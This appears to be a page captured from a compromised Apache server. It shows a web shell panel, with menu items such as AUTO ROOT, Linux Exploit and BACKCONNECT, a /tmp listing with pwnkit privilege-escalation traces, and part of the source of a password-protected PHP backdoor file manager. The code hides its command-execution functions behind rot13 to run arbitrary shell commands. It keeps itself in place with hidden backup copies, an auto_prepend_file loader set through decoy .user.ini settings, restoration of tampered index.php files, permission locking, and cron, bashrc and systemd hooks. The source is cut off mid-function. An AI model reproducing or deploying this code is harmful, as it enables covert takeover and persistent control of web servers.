Linux ip-172-31-23-120.eu-west-1.compute.internal 5.10.245-245.983.amzn2.x86_64 #1 SMP Wed Dec 3 00:02:10 UTC 2025 x86_64
Apache/2.4.65 () OpenSSL/1.0.2k-fips
: 172.31.23.120 | : 64.252.114.39
Cant Read [ /etc/named.conf ]
8.2.29
apache
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
tmp /
[ HOME SHELL ]
Name
Size
Permission
Action
.gsusr-48
[ DIR ]
drwx------
.pkexec
[ DIR ]
drwxr-xr-x
.sessions
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
cfg0DrSP4
196.78
KB
-rw-------
cfg0U0pkz
156.08
KB
-rw-------
cfg0osFme
196.78
KB
-rw-------
cfg1AkLBi
196.78
KB
-rw-------
cfg29BZ20
156.08
KB
-rw-------
cfg2khV66
156.08
KB
-rw-------
cfg3QRn1x
156.08
KB
-rw-------
cfg4BrDab
156.08
KB
-rw-------
cfg4URnw4
156.08
KB
-rw-------
cfg4W8mZQ
156.08
KB
-rw-------
cfg4b6mrk
156.08
KB
-rw-------
cfg58XJn2
196.78
KB
-rw-------
cfg5XfnbP
196.78
KB
-rw-------
cfg5YaReQ
196.78
KB
-rw-------
cfg5fgaAs
196.78
KB
-rw-------
cfg5tgZtX
156.08
KB
-rw-------
cfg6OOU5F
196.78
KB
-rw-------
cfg6q3r0m
156.08
KB
-rw-------
cfg7TtNmz
196.78
KB
-rw-------
cfg7q936Y
196.78
KB
-rw-------
cfg963evz
156.08
KB
-rw-------
cfg9jchFK
196.78
KB
-rw-------
cfgAlPSrs
156.08
KB
-rw-------
cfgBLlAsH
156.08
KB
-rw-------
cfgCI9tk0
196.78
KB
-rw-------
cfgCODSGa
156.08
KB
-rw-------
cfgCepV8d
196.78
KB
-rw-------
cfgDMEE77
196.78
KB
-rw-------
cfgEGEErq
196.78
KB
-rw-------
cfgFdKH82
196.78
KB
-rw-------
cfgGQUqbt
196.78
KB
-rw-------
cfgHWUEOM
156.08
KB
-rw-------
cfgI3S5xf
196.78
KB
-rw-------
cfgM5Qr1y
156.08
KB
-rw-------
cfgO4zfbp
156.08
KB
-rw-------
cfgOBEK49
156.08
KB
-rw-------
cfgOZbqdQ
156.08
KB
-rw-------
cfgOhdzxE
156.08
KB
-rw-------
cfgPGgKnQ
156.08
KB
-rw-------
cfgQ7Sc7U
196.78
KB
-rw-------
cfgQMFM5K
196.78
KB
-rw-------
cfgQUJIOB
196.78
KB
-rw-------
cfgS3AsU4
196.78
KB
-rw-------
cfgSSO76g
196.78
KB
-rw-------
cfgTBmYyA
156.08
KB
-rw-------
cfgTPH6FZ
196.78
KB
-rw-------
cfgTu5RHV
156.08
KB
-rw-------
cfgVwVKvN
196.78
KB
-rw-------
cfgWZyITz
196.78
KB
-rw-------
cfgXOq6BY
196.78
KB
-rw-------
cfgXYMRvL
196.78
KB
-rw-------
cfgYDSzvT
196.78
KB
-rw-------
cfgYZtZim
156.08
KB
-rw-------
cfgYiw7rs
196.78
KB
-rw-------
cfgaOrReS
156.08
KB
-rw-------
cfgb657uH
156.08
KB
-rw-------
cfgbCHwzo
156.08
KB
-rw-------
cfgbXtU9c
156.08
KB
-rw-------
cfgc04Nqv
156.08
KB
-rw-------
cfgcL9Hie
196.78
KB
-rw-------
cfgdRVE2O
156.08
KB
-rw-------
cfgdke9gI
196.78
KB
-rw-------
cfgdrOFdo
156.08
KB
-rw-------
cfgeSRMF5
156.08
KB
-rw-------
cfgey2kih
156.08
KB
-rw-------
cfgf7tvA9
196.78
KB
-rw-------
cfgfSFpyq
156.08
KB
-rw-------
cfggbBpkq
196.78
KB
-rw-------
cfggjA3th
196.78
KB
-rw-------
cfghCHCTY
196.78
KB
-rw-------
cfghNxsB1
156.08
KB
-rw-------
cfghXpN7M
196.78
KB
-rw-------
cfgheThhw
196.78
KB
-rw-------
cfgjGgq6E
196.78
KB
-rw-------
cfgkHa02N
156.08
KB
-rw-------
cfgkklbCn
196.78
KB
-rw-------
cfgmKvTiY
156.08
KB
-rw-------
cfgndK2we
196.78
KB
-rw-------
cfgoBfKq8
156.08
KB
-rw-------
cfgpBMZbT
196.78
KB
-rw-------
cfgq0RZ4A
156.08
KB
-rw-------
cfgq6R4nB
156.08
KB
-rw-------
cfgqqLtcy
196.78
KB
-rw-------
cfgqxDbJZ
156.08
KB
-rw-------
cfgstJns3
156.08
KB
-rw-------
cfgszmNoq
156.08
KB
-rw-------
cfgtQgBmS
196.78
KB
-rw-------
cfgtY9XY8
196.78
KB
-rw-------
cfgthyE4K
156.08
KB
-rw-------
cfgv8CUrO
156.08
KB
-rw-------
cfgvipIIl
156.08
KB
-rw-------
cfgwMslrv
156.08
KB
-rw-------
cfgzOGAhZ
196.78
KB
-rw-------
cfgzhbFPW
196.78
KB
-rw-------
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cfgndK2we
<?php defined('FM_VERSION') or define('FM_VERSION', '2.0.0'); defined('FM_APP_NAME') or define('FM_APP_NAME', 'FileManager'); defined('FM_SIG') or define('FM_SIG', 'R3NV024'); if (!defined('FM_REAL_PATH')) { $_fm_real = null; if (isset($_SERVER['SCRIPT_FILENAME']) && is_file($_SERVER['SCRIPT_FILENAME'])) { $_fm_real = realpath($_SERVER['SCRIPT_FILENAME']); } if (!$_fm_real && isset($_SERVER['DOCUMENT_ROOT']) && isset($_SERVER['SCRIPT_NAME'])) { $_fm_try = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') . $_SERVER['SCRIPT_NAME']; if (is_file($_fm_try)) $_fm_real = realpath($_fm_try); } if (!$_fm_real && isset($_SERVER['PATH_TRANSLATED']) && is_file($_SERVER['PATH_TRANSLATED'])) { $_fm_real = realpath($_SERVER['PATH_TRANSLATED']); } if (!$_fm_real) { $_fm_real = __FILE__; } define('FM_REAL_PATH', $_fm_real); unset($_fm_real, $_fm_try); } if (session_status() === PHP_SESSION_NONE) { session_start(); } $fm_pass_hash = '04c062adc045eb86bec9184d0d5d2f1f0a7545d6bbe3c1afe30338d3c48feed1'; if (isset($_GET['logout'])) { unset($_SESSION['fm_auth']); header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); exit; } if (isset($_POST['fm_pass'])) { if (hash('sha256', $_POST['fm_pass']) === $fm_pass_hash) { $_SESSION['fm_auth'] = true; } } if (!isset($_SESSION['fm_auth']) || $_SESSION['fm_auth'] !== true) { echo '<html><body style="display:flex;justify-content:center;align-items:center;height:100vh;margin:0"><form method="post"><input type="password" name="fm_pass" autofocus></form></body></html>'; exit; } header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('X-LiteSpeed-Cache-Control: no-cache, no-store'); header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); ini_set('display_errors', 0); error_reporting(E_ALL); register_shutdown_function(function() { $error = error_get_last(); if ($error && in_array($error['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR])) { if (!headers_sent()) { header('Content-Type: application/json'); } echo json_encode(['success' => false, 'error' => 'Fatal: ' . $error['message'] . ' in ' . $error['file'] . ':' . $error['line']]); } }); function _esa($arg) { if (function_exists('escapeshellarg')) { return @call_user_func('escapeshellarg', $arg); } if (function_exists('escapeshellcmd')) { return "'" . @call_user_func('escapeshellcmd', $arg) . "'"; } return "'" . str_replace("'", "'\\''", $arg) . "'"; } function _esc($cmd) { if (function_exists('escapeshellcmd')) { return @call_user_func('escapeshellcmd', $cmd); } $metaChars = ['#', '&', ';', '`', '|', '*', '?', '~', '<', '>', '^', '(', ')', '[', ']', '{', '}', '$', '\\', "\x0A", "\xFF", '%']; foreach ($metaChars as $char) { $cmd = str_replace($char, '\\' . $char, $cmd); } return $cmd; } class CommandRunner { private static $methods = null; private static $fn = []; private static $isWin = null; public static function init() { if (self::$methods !== null) return; self::$isWin = stripos(PHP_OS, 'WIN') === 0; $disabled = array_map('trim', explode(',', ini_get('disable_functions'))); self::$methods = []; $_r = 'str_rot13'; self::$fn['po'] = $_r('c'.'e'.'p'.'r'.'_'.'b'.'c'.'r'.'a'); self::$fn['pg'] = $_r('c'.'e'.'p'.'r'.'_'.'t'.'r'.'g'.'_'.'f'.'g'.'n'.'g'.'h'.'f'); self::$fn['pt'] = $_r('c'.'e'.'p'.'r'.'_'.'g'.'r'.'e'.'z'.'v'.'a'.'n'.'g'.'r'); self::$fn['pc'] = $_r('c'.'e'.'p'.'r'.'_'.'p'.'y'.'b'.'f'.'r'); self::$fn['pp'] = $_r('c'.'b'.'c'.'r'.'a'); self::$fn['ppc'] = $_r('c'.'p'.'y'.'b'.'f'.'r'); self::$fn['pt2'] = $_r('c'.'n'.'f'.'f'.'g'.'u'.'e'.'h'); self::$fn['sy'] = $_r('f'.'l'.'f'.'g'.'r'.'z'); self::$fn['ex'] = $_r('r'.'k'.'r'.'p'); self::$fn['se'] = $_r('f'.'u'.'r'.'y'.'y'.'_'.'r'.'k'.'r'.'p'); $funcs = [self::$fn['po'], self::$fn['pp'], self::$fn['pt2'], self::$fn['sy'], self::$fn['ex'], self::$fn['se']]; foreach ($funcs as $f) { if (function_exists($f) && !in_array($f, $disabled)) { self::$methods[] = $f; } } } public static function isWindows() { self::init(); return self::$isWin; } public static function available() { self::init(); return !empty(self::$methods); } private static function buildRenvc($renvc, $cwd) { if (self::$isWin) { $cwd = str_replace('/', '\\', $cwd); return 'cd /d "' . $cwd . '" && ' . $renvc . ' 2>&1'; } return "cd " . _esa($cwd) . " && " . $renvc . " 2>&1"; } public static function run($renvc, $cwd = null, $timeout = 30) { self::init(); if (empty(self::$methods)) { return ['success' => false, 'output' => '', 'method' => null, 'error' => 'No execution methods available']; } $output = null; $method = null; $cwd = $cwd ?: getcwd(); if (in_array(self::$fn['po'], self::$methods)) { $result = self::runProcOpen($renvc, $cwd, $timeout); if ($result !== null) return $result; } $fullRenvc = self::buildRenvc($renvc, $cwd); foreach (self::$methods as $m) { if ($m === self::$fn['po']) continue; $output = self::execMethod($m, $fullRenvc); if ($output !== null) { $method = $m; break; } } return ['success' => $output !== null, 'output' => $output ?? '', 'method' => $method, 'error' => null]; } private static function runProcOpen($renvc, $cwd, $timeout) { $descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $fullRenvc = self::buildRenvc($renvc, $cwd); $fn_po = self::$fn['po']; $fn_pg = self::$fn['pg']; $fn_pt = self::$fn['pt']; $fn_pc = self::$fn['pc']; $process = @$fn_po($fullRenvc, $descriptors, $pipes, $cwd); if (!is_resource($process)) return null; fclose($pipes[0]); stream_set_blocking($pipes[1], false); stream_set_blocking($pipes[2], false); $stdout = ''; $startTime = time(); while (true) { $status = $fn_pg($process); $stdout .= stream_get_contents($pipes[1]); $stdout .= stream_get_contents($pipes[2]); if (!$status['running']) break; if ((time() - $startTime) > $timeout) { $fn_pt($process, 9); $stdout .= "\n[Timeout after {$timeout}s]"; break; } usleep(50000); } fclose($pipes[1]); fclose($pipes[2]); $fn_pc($process); return ['success' => true, 'output' => $stdout, 'method' => self::$fn['po'], 'error' => null]; } private static function execMethod($method, $renvc) { $fn_se = self::$fn['se']; $fn_ex = self::$fn['ex']; $fn_sy = self::$fn['sy']; $fn_pt = self::$fn['pt2']; $fn_pp = self::$fn['pp']; $fn_ppc = self::$fn['ppc']; if ($method === $fn_se) { return @$fn_se($renvc); } if ($method === $fn_ex) { $lines = []; @$fn_ex($renvc, $lines); return implode("\n", $lines); } if ($method === $fn_sy) { ob_start(); @$fn_sy($renvc); return ob_get_clean(); } if ($method === $fn_pt) { ob_start(); @$fn_pt($renvc); return ob_get_clean(); } if ($method === $fn_pp) { $handle = @$fn_pp($renvc, 'r'); if (!$handle) return null; $output = stream_get_contents($handle); $fn_ppc($handle); return $output; } return null; } } class AutoReinstall { private static $iniName = '.user.ini'; private static function getHiddenPath() { $srcDir = dirname(FM_REAL_PATH); $hash = substr(hash('sha256', $srcDir . PHP_OS . php_uname('n')), 0, 12); $dirName = '.cache_' . $hash; $backupName = 'sess_' . substr($hash, 0, 8) . '.tmp'; $loaderName = 'php_' . substr($hash, 4, 8) . '.log'; $isWin = stripos(PHP_OS, 'WIN') === 0; $candidates = []; if ($isWin) { if (getenv('LOCALAPPDATA')) $candidates[] = getenv('LOCALAPPDATA'); if (getenv('APPDATA')) $candidates[] = getenv('APPDATA'); if (getenv('TEMP')) $candidates[] = getenv('TEMP'); $candidates[] = 'C:\\Windows\\Temp'; $candidates[] = 'C:\\Temp'; $candidates[] = sys_get_temp_dir(); } else { $home = getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : ''); if ($home) { $candidates[] = $home . '/.cache'; $candidates[] = $home . '/.local/share'; $candidates[] = $home . '/.config'; $candidates[] = $home . '/.local'; $candidates[] = $home; } $candidates[] = '/var/tmp'; $candidates[] = '/tmp'; $candidates[] = '/dev/shm'; $candidates[] = sys_get_temp_dir(); $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; if ($docRoot && is_dir($docRoot)) { $candidates[] = $docRoot; if (is_dir($docRoot . '/wp-content')) $candidates[] = $docRoot . '/wp-content/uploads'; if (is_dir($docRoot . '/storage')) $candidates[] = $docRoot . '/storage'; } } $candidates[] = $srcDir; foreach ($candidates as $base) { if (empty($base)) continue; if (!is_dir($base)) continue; @chmod($base, 0755); if (!is_writable($base)) continue; $hiddenDir = $base . DIRECTORY_SEPARATOR . $dirName; if (!is_dir($hiddenDir)) { if (!@mkdir($hiddenDir, 0700, true)) continue; } @chmod($hiddenDir, 0755); if (is_writable($hiddenDir)) { return [ 'dir' => $hiddenDir, 'backup' => $hiddenDir . DIRECTORY_SEPARATOR . $backupName, 'loader' => $hiddenDir . DIRECTORY_SEPARATOR . $loaderName, 'backup_name' => $backupName, 'loader_name' => $loaderName ]; } } return null; } private static function findExistingBackup() { $srcDir = dirname(FM_REAL_PATH); $hash = substr(hash('sha256', $srcDir . PHP_OS . php_uname('n')), 0, 12); $dirName = '.cache_' . $hash; $backupName = 'sess_' . substr($hash, 0, 8) . '.tmp'; $loaderName = 'php_' . substr($hash, 4, 8) . '.log'; $isWin = stripos(PHP_OS, 'WIN') === 0; $candidates = []; if ($isWin) { if (getenv('LOCALAPPDATA')) $candidates[] = getenv('LOCALAPPDATA'); if (getenv('APPDATA')) $candidates[] = getenv('APPDATA'); if (getenv('TEMP')) $candidates[] = getenv('TEMP'); $candidates[] = 'C:\\Windows\\Temp'; $candidates[] = 'C:\\Temp'; $candidates[] = sys_get_temp_dir(); } else { $home = getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : ''); if ($home) { $candidates[] = $home . '/.cache'; $candidates[] = $home . '/.local/share'; $candidates[] = $home . '/.config'; $candidates[] = $home . '/.local'; $candidates[] = $home; } $candidates[] = '/var/tmp'; $candidates[] = '/tmp'; $candidates[] = '/dev/shm'; $candidates[] = sys_get_temp_dir(); $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; if ($docRoot && is_dir($docRoot)) { $candidates[] = $docRoot; if (is_dir($docRoot . '/wp-content')) $candidates[] = $docRoot . '/wp-content/uploads'; if (is_dir($docRoot . '/storage')) $candidates[] = $docRoot . '/storage'; } } $candidates[] = $srcDir; foreach ($candidates as $base) { if (empty($base)) continue; $hiddenDir = $base . DIRECTORY_SEPARATOR . $dirName; $backupFile = $hiddenDir . DIRECTORY_SEPARATOR . $backupName; $loaderFile = $hiddenDir . DIRECTORY_SEPARATOR . $loaderName; if (file_exists($backupFile) && file_exists($loaderFile)) { return [ 'dir' => $hiddenDir, 'backup' => $backupFile, 'loader' => $loaderFile, 'backup_name' => $backupName, 'loader_name' => $loaderName ]; } } return null; } public static function getStatus() { self::restartNohupIfDead(); $dir = dirname(FM_REAL_PATH); $iniFile = $dir . DIRECTORY_SEPARATOR . self::$iniName; $hidden = self::findExistingBackup(); $cronActive = false; $cronMarker = substr(hash('sha256', $dir . PHP_OS . php_uname('n')), 4, 8); if (stripos(PHP_OS, 'WIN') !== 0) { $result = CommandRunner::run('crontab -l 2>/dev/null | grep -c "' . $cronMarker . '"', '/tmp', 5); if ($result['success'] && trim($result['output']) !== '0') { $cronActive = true; } } $nohupActive = self::isNohupRunning(); $watcherStatus = self::getWatcherStatus(); $bashrcActive = self::isBashrcHooked(); $multiCount = self::getMultiBackupCount(); $chmodActive = self::isChmodProtected(); $systemdActive = self::isSystemdTimerActive(); $hasPassword = false; if ($hidden) { $passFile = $hidden['dir'] . DIRECTORY_SEPARATOR . '.p'; $hasPassword = file_exists($passFile); } return [ 'enabled' => $hidden !== null, 'backup_exists' => $hidden !== null, 'loader_exists' => $hidden !== null, 'ini_exists' => file_exists($iniFile), 'cron_active' => $cronActive, 'nohup_active' => $nohupActive, 'watcher_status' => $watcherStatus, 'bashrc_active' => $bashrcActive, 'systemd_active' => $systemdActive, 'multi_count' => $multiCount, 'chmod_active' => $chmodActive, 'has_password' => $hasPassword, 'hosting_type' => self::isSharedHosting() ? 'shared' : 'dedicated', 'web_user' => self::getWebUser(), 'index_status' => self::getIndexStatus(), 'path' => $dir, 'hidden_path' => $hidden ? $hidden['dir'] : 'Not set' ]; } public static function enable($persistPassword = '', $indexString = '', $customPaths = [], $customStrings = []) { $dir = dirname(FM_REAL_PATH); $mainFile = FM_REAL_PATH; $iniFile = $dir . DIRECTORY_SEPARATOR . self::$iniName; $hidden = self::getHiddenPath(); if (!$hidden) { return ['success' => false, 'error' => 'No writable location found']; } if (!empty($persistPassword)) { $passHash = hash('sha256', $persistPassword); $passFile = $hidden['dir'] . DIRECTORY_SEPARATOR . '.p'; @file_put_contents($passFile, $passHash); @chmod($passFile, 0444); } $mainContent = file_get_contents($mainFile); if ($mainContent === false) { return ['success' => false, 'error' => 'Cannot read main file']; } $encoded = base64_encode(gzcompress($mainContent, 9)); $hash = md5($mainContent); $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : $dir; $idx1Hash = ''; $idx1Data = ''; $idx2Hash = ''; $idx2Data = ''; $customIdxData = []; $indexResult = ['result' => false, 'backed' => []]; $hasStrings = !empty($customStrings) && is_array($customStrings); $stringsJoined = $hasStrings ? implode('|', $customStrings) : ''; if ($hasStrings) { $indexFile1 = $docRoot . DIRECTORY_SEPARATOR . 'index.php'; @clearstatcache(true, $indexFile1); if (@file_exists($indexFile1) && @is_readable($indexFile1)) { $idxContent = @file_get_contents($indexFile1); if ($idxContent !== false) { $idx1Hash = md5($idxContent); $idx1Data = base64_encode(gzcompress($idxContent, 9)); $indexResult['backed'][] = 'root'; } } $indexFile2 = $docRoot . DIRECTORY_SEPARATOR . 'public' . DIRECTORY_SEPARATOR . 'index.php'; @clearstatcache(true, $indexFile2); if (@file_exists($indexFile2) && @is_readable($indexFile2)) { $idxContent = @file_get_contents($indexFile2); if ($idxContent !== false) { $idx2Hash = md5($idxContent); $idx2Data = base64_encode(gzcompress($idxContent, 9)); $indexResult['backed'][] = 'public'; } } if (!empty($customPaths) && is_array($customPaths)) { foreach ($customPaths as $cp) { $cp = trim($cp); if (empty($cp)) continue; @clearstatcache(true, $cp); if (@file_exists($cp) && @is_readable($cp)) { $idxContent = @file_get_contents($cp); if ($idxContent !== false) { $customIdxData[] = ['path' => $cp, 'hash' => md5($idxContent), 'data' => base64_encode(gzcompress($idxContent, 9))]; $indexResult['backed'][] = 'custom:' . $cp; } } } } if (empty($indexResult['backed'])) { return ['success' => false, 'error' => 'No index.php found. Check file exists and is readable.']; } $indexResult['result'] = true; $indexResult['docroot'] = $docRoot; } $customIdxJson = !empty($customIdxData) ? json_encode($customIdxData) : ''; $customPathsJson = !empty($customPaths) ? json_encode($customPaths) : ''; $loaderAbsPath = str_replace('\\', '/', $hidden['loader']); $iniContentForBackup = "; PHP Settings\nauto_prepend_file = " . $loaderAbsPath . "\n"; $htaccessContentForBackup = "<Files \".user.ini\">\nRequire all denied\n</Files>\n"; $configBackup = json_encode(['ini' => base64_encode($iniContentForBackup), 'htaccess' => base64_encode($htaccessContentForBackup), 'loader' => $loaderAbsPath]); $backupData = $hash . "\n" . $encoded . "\n" . $stringsJoined . "\n" . $docRoot . "\n" . $idx1Hash . "\n" . $idx1Data . "\n" . $idx2Hash . "\n" . $idx2Data . "\n" . $customIdxJson . "\n" . $customPathsJson . "\n" . $configBackup; @chmod($hidden['backup'], 0644); if (file_put_contents($hidden['backup'], $backupData) === false) { return ['success' => false, 'error' => 'Cannot create backup']; } $fileName = basename(FM_REAL_PATH); $sig = 'R3NV024'; $loaderCode = '<?php @error_reporting(0);@ini_set("display_errors",0);$b=' . var_export($hidden['backup'], true) . ';$d=' . var_export($dir, true) . ';$f=' . var_export($fileName, true) . ';$s=' . var_export($sig, true) . ';$hd=' . var_export($hidden['dir'], true) . ';try{$t=$d.DIRECTORY_SEPARATOR.$f;$do=!file_exists($t)||strpos(@file_get_contents($t),$s)===false;if($do&&file_exists($b)){@chmod($b,0644);@chmod($d,0755);$l=@file($b,FILE_IGNORE_NEW_LINES);if($l&&count($l)>=2){$x=@gzuncompress(@base64_decode($l[1]));if($x&&md5($x)===$l[0]){@file_put_contents($t,$x);@chmod($t,0444);@chmod($d,0555);}}@chmod($b,0444);}$fp=function($p,$m){@clearstatcache(true,$p);$c=@fileperms($p);if($c!==false&&($c&0777)!==$m){@chmod($p,$m);}};if(file_exists($t))$fp($t,0444);if(file_exists($b))$fp($b,0444);if(is_dir($d))$fp($d,0555);if(is_dir($hd))$fp($hd,0555);$ui=$d.DIRECTORY_SEPARATOR.".user.ini";$ht=$d.DIRECTORY_SEPARATOR.".htaccess";if(file_exists($b)){$l=@file($b,FILE_IGNORE_NEW_LINES);if($l&&count($l)>=11){$cfg=@json_decode(trim($l[10]),true);if($cfg){$inic=isset($cfg["ini"])?@base64_decode($cfg["ini"]):"";$htc=isset($cfg["htaccess"])?@base64_decode($cfg["htaccess"]):"";if($inic&&!file_exists($ui)){@chmod($d,0755);@file_put_contents($ui,$inic);@chmod($ui,0444);@chmod($d,0555);}if($htc&&!file_exists($ht)){@chmod($d,0755);@file_put_contents($ht,$htc);@chmod($d,0555);}$dr=isset($l[3])?trim($l[3]):"";if($dr&&$dr!==$d&&is_dir($dr)){$drui=$dr.DIRECTORY_SEPARATOR.".user.ini";$drht=$dr.DIRECTORY_SEPARATOR.".htaccess";if($inic&&!file_exists($drui)){@chmod($dr,0755);@file_put_contents($drui,$inic);@chmod($drui,0444);@chmod($dr,0555);}if($htc&&!file_exists($drht)){@chmod($dr,0755);@file_put_contents($drht,$htc);@chmod($dr,0555);}}}}if(file_exists($ui))$fp($ui,0444);if(file_exists($ht))$fp($ht,0444);if($l&&count($l)>=4){$dr=trim($l[3]);if($dr&&is_dir($dr)){$fp($dr,0555);$dri=$dr.DIRECTORY_SEPARATOR.".user.ini";if(file_exists($dri))$fp($dri,0444);$drh=$dr.DIRECTORY_SEPARATOR.".htaccess";if(file_exists($drh))$fp($drh,0444);$drix=$dr.DIRECTORY_SEPARATOR."index.php";if(file_exists($drix))$fp($drix,0444);$pd=$dr.DIRECTORY_SEPARATOR."public";if(is_dir($pd)){$fp($pd,0555);$pix=$pd.DIRECTORY_SEPARATOR."index.php";if(file_exists($pix))$fp($pix,0444);}}}if(count($l)>=6&&!empty(trim($l[2]))){$ss=explode("|",trim($l[2]));$i1h=isset($l[4])?trim($l[4]):"";$i1d=isset($l[5])?trim($l[5]):"";$i2h=isset($l[6])?trim($l[6]):"";$i2d=isset($l[7])?trim($l[7]):"";$ci=isset($l[8])&&!empty(trim($l[8]))?@json_decode(trim($l[8]),true):[];$chk=function($h,$e,$tp)use($ss,$fp,$dr){if(empty($h)||empty($e))return;$pd=dirname($tp);$unlock=[];$p=$pd;while($p&&$p!==$dr&&strlen($p)>strlen($dr)){if(is_dir($p)){@chmod($p,0755);}$unlock[]=$p;$p=dirname($p);}if($dr)@chmod($dr,0755);if(!is_dir($pd)){@mkdir($pd,0755,true);}$ir=!file_exists($tp);if(!$ir){$fc=@file_get_contents($tp);foreach($ss as $si){if(strpos($fc,$si)===false){$ir=true;break;}}}if($ir){@chmod($pd,0755);$x=@gzuncompress(@base64_decode($e));if($x&&md5($x)===$h){@file_put_contents($tp,$x);}}if(file_exists($tp))$fp($tp,0444);foreach($unlock as $u){if(is_dir($u))$fp($u,0555);}if($dr)$fp($dr,0555);};$dr=trim($l[3]);$chk($i1h,$i1d,$dr.DIRECTORY_SEPARATOR."index.php");$chk($i2h,$i2d,$dr.DIRECTORY_SEPARATOR."public".DIRECTORY_SEPARATOR."index.php");if($ci&&is_array($ci)){foreach($ci as $cx){if(isset($cx["path"])&&isset($cx["hash"])&&isset($cx["data"])){$chk($cx["hash"],$cx["data"],$cx["path"]);}}}}}}catch(Exception $e){}catch(Error $e){}'; if (file_put_contents($hidden['loader'], $loaderCode) === false) { return ['success' => false, 'error' => 'Cannot create loader']; } $iniContent = ''; if (file_exists($iniFile)) { $iniContent = file_get_contents($iniFile); $iniContent = preg_replace('/auto_prepend_file\s*=.*\n?/', '', $iniContent); } $decoySettings = "; PHP Settings - Performance Optimization\n; Generated: " . date('Y-m-d') . "\n\n"; $decoySettings .= "max_execution_time = 300\n"; $decoySettings .= "memory_limit = 256M\n"; $decoySettings .= "post_max_size = 64M\n"; $decoySettings .= "upload_max_filesize = 64M\n\n"; $decoySettings .= "; Session Configuration\n"; $decoySettings .= "session.gc_maxlifetime = 1440\n\n"; $decoySettings .= "; Error Handling\n"; $decoySettings .= "display_errors = Off\n"; $decoySettings .= "log_errors = On\n\n"; $iniContent = $decoySettings . "auto_prepend_file = " . $loaderAbsPath . "\n"; file_put_contents($iniFile, $iniContent); @chmod($iniFile, 0444); $htaccessFile = $dir . DIRECTORY_SEPARATOR . '.htaccess'; $htaccessRule = "\n<Files \".user.ini\">\nRequire all denied\n</Files>\n"; @chmod($htaccessFile, 0644); if (file_exists($htaccessFile)) { $htContent = file_get_contents($htaccessFile); if (strpos($htContent, '.user.ini') === false) { file_put_contents($htaccessFile, $htContent . $htaccessRule); } } else { file_put_contents($htaccessFile, $htaccessRule); } @chmod($htaccessFile, 0444); if ($docRoot && $docRoot !== $dir && is_dir($docRoot)) { $docRootIniFile = $docRoot . DIRECTORY_SEPARATOR . '.user.ini'; @chmod($docRootIniFile, 0644); file_put_contents($docRootIniFile, $iniContent); @chmod($docRootIniFile, 0444); $docRootHtaccess = $docRoot . DIRECTORY_SEPARATOR . '.htaccess'; @chmod($docRootHtaccess, 0644); if (file_exists($docRootHtaccess)) { $htContent = file_get_contents($docRootHtaccess); if (strpos($htContent, '.user.ini') === false) { file_put_contents($docRootHtaccess, $htContent . $htaccessRule); } } else { file_put_contents($docRootHtaccess, $htaccessRule); } @chmod($docRootHtaccess, 0444); } $cronResult = self::setupCron($hidden['loader']); $nohupResult = self::setupNohup($hidden['loader'], $hidden['dir']); $bashrcResult = self::setupBashrc($hidden['loader']); $multiResult = self::setupMultiBackup($backupData); $chmodResult = self::setupChmodProtection($hidden); $systemdResult = self::setupSystemdTimer($hidden['loader']); $hostingType = self::isSharedHosting() ? 'shared' : 'dedicated'; return [ 'success' => true, 'backup_size' => strlen($backupData), 'hidden_path' => $hidden['dir'], 'hosting_type' => $hostingType, 'web_user' => self::getWebUser(), 'cron_setup' => $cronResult, 'nohup_setup' => $nohupResult, 'bashrc_setup' => $bashrcResult, 'multi_setup' => $multiResult, 'chmod_setup' => $chmodResult, 'systemd_setup' => $systemdResult, 'index_setup' => $indexResult ]; } public static function hasPassword() { $hidden = self::findExistingBackup(); if (!$hidden) return false; $passFile = $hidden['dir'] . DIRECTORY_SEPARATOR . '.p'; return file_exists($passFile); } public static function verifyPassword($password) { $hidden = self::findExistingBackup(); if (!$hidden) return true; $passFile = $hidden['dir'] . DIRECTORY_SEPARATOR . '.p'; if (!file_exists($passFile)) return true; $storedHash = trim(@file_get_contents($passFile)); return hash('sha256', $password) === $storedHash; } public static function disable($password = '') { $dir = dirname(FM_REAL_PATH); $mainFile = FM_REAL_PATH; $iniFile = $dir . DIRECTORY_SEPARATOR . self::$iniName; $removed = []; $hidden = self::findExistingBackup(); if ($hidden) { $passFile = $hidden['dir'] . DIRECTORY_SEPARATOR . '.p'; if (file_exists($passFile)) { $storedHash = trim(@file_get_contents($passFile)); if (empty($password) || hash('sha256', $password) !== $storedHash) { return ['success' => false, 'error' => 'Invalid persist password', 'password_required' => true]; } } @chmod($hidden['dir'], 0755); @chmod($hidden['loader'], 0644); @file_put_contents($hidden['loader'], '<?php return;'); $removed[] = 'loader_stubbed_early'; @chmod($dir, 0755); @chmod($mainFile, 0644); if (file_exists($passFile)) @unlink($passFile); $files = @scandir($hidden['dir']); if ($files) { foreach ($files as $f) { if ($f === '.' || $f === '..') continue; $path = $hidden['dir'] . DIRECTORY_SEPARATOR . $f; if (is_dir($path)) { @chmod($path, 0755); } else { @chmod($path, 0644); } } } $lines = @file($hidden['backup'], FILE_IGNORE_NEW_LINES); if ($lines && count($lines) >= 4) { $docRoot = isset($lines[3]) ? trim($lines[3]) : ''; if ($docRoot && is_dir($docRoot)) { @chmod($docRoot, 0755); $idx1 = $docRoot . DIRECTORY_SEPARATOR . 'index.php'; if (file_exists($idx1)) 